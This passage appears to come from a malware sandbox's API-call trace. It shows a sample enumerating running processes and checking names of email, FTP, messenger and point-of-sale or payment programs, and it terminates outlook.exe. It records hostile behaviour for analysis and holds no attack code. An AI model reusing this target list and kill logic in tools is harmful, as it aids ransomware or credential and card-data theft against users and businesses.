th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0145.609] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0145.609] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0145.609] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0145.609] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0145.610] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0145.610] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0145.610] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0145.610] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0145.611] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x850) returned 0xc4 [0145.611] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0145.612] CloseHandle (hObject=0xc4) returned 1 [0145.612] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0145.612] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0145.612] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0145.612] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0145.613] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0145.613] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0145.613] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0145.613] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0145.613] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0145.614] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0145.614] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0145.614] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0145.614] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0145.615] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0145.615] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0145.615] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0145.615] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0145.616] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0145.616] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0145.616] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0145.616] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0145.617] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0145.617] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0145.617] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0145.617] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0145.617] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0145.618] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="calculation jim.exe")) returned 1 [0145.618] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="puerto.exe")) returned 1 [0145.618] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.619] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa48) returned 0x0 [0145.619] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0145.619] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb94) returned 0x0 [0145.619] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="opboohpueclon.exe")) returned 1 [0145.619] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0145.620] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0145.620] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.620] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.620] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0145.621] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.621] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0145.621] CloseHandle (hObject=0x120) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16328 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fb38 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11200 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fb58 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11138 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fb68 | out: hHeap=0x2ef0000) returned 1 [0145.621] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fe78 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fb78 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11160 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fb88 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fe98 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fb98 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11278 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fba8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0feb8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fbb8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f112c8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fbc8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fed8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fbd8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11340 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fbe8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.622] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fbf8 | out: hHeap=0x2ef0000) returned 1 [0145.622] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11368 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc08 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fef8 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc18 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11390 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc28 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ff18 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc38 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ff38 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc48 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10a00 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc58 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14c38 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fc68 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11a90 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f171c8 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14a78 | out: hHeap=0x2ef0000) returned 1 [0145.623] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f171d8 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ff58 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f171e8 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f113b8 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f171f8 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f175c8 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17208 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f113e0 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17218 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11408 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17228 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14c00 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17238 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f175f8 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17248 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17628 | out: hHeap=0x2ef0000) returned 1 [0145.624] GetProcessHeap () returned 0x2ef0000 [0145.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17258 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14bc8 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17268 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ff78 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17278 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17658 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17288 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ff98 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17298 | out: hHeap=0x2ef0000) returned 1 